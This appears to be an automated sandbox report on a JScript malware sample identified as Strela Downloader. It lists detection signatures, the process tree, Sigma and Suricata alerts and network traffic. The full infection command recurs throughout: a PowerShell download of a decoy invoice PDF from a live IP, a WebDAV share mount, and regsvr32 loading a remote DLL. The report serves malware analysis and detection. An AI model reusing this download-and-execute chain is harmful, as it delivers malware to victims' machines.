Edit tour

Windows Analysis Report
853025795686920641.js

Overview

General Information

Sample name:	853025795686920641.js
Analysis ID:	1587894
MD5:	652000f5e22619fb464d434b66a8c19f
SHA1:	eb7b4ff4b886f1be339d2a5c2fab4935a3a03fba
SHA256:	e06cd3495f5e3b343dcd70b2e8294e17657dfe62369fb26a5a8502922ac44d31
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7512 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853025795686920641.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7560 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7612 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7788 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7996 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7240 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1684,i,4457413251022540206,16338453213962539139,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7804 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7892 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8060 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7512	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7560, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7612, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7560, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7612, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853025795686920641.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853025795686920641.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853025795686920641.js", ProcessId: 7512, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7892, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853025795686920641.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7512, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, ProcessId: 7560, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853025795686920641.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7512, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, ProcessId: 7560, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853025795686920641.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7512, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, ProcessId: 7560, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853025795686920641.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7512, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, ProcessId: 7560, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853025795686920641.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7512, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, ProcessId: 7560, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853025795686920641.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853025795686920641.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853025795686920641.js", ProcessId: 7512, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7560, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7612, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7804, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7892, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8060, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7804, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7892, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\853025795686920641.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7512, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll, ProcessId: 7560, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:06:20.301936+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:06:18.086327+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 853025795686920641.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 853025795686920641.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:06:17 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: global traffic	TCP traffic: 192.168.2.4:53001 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:59125 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:50353 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

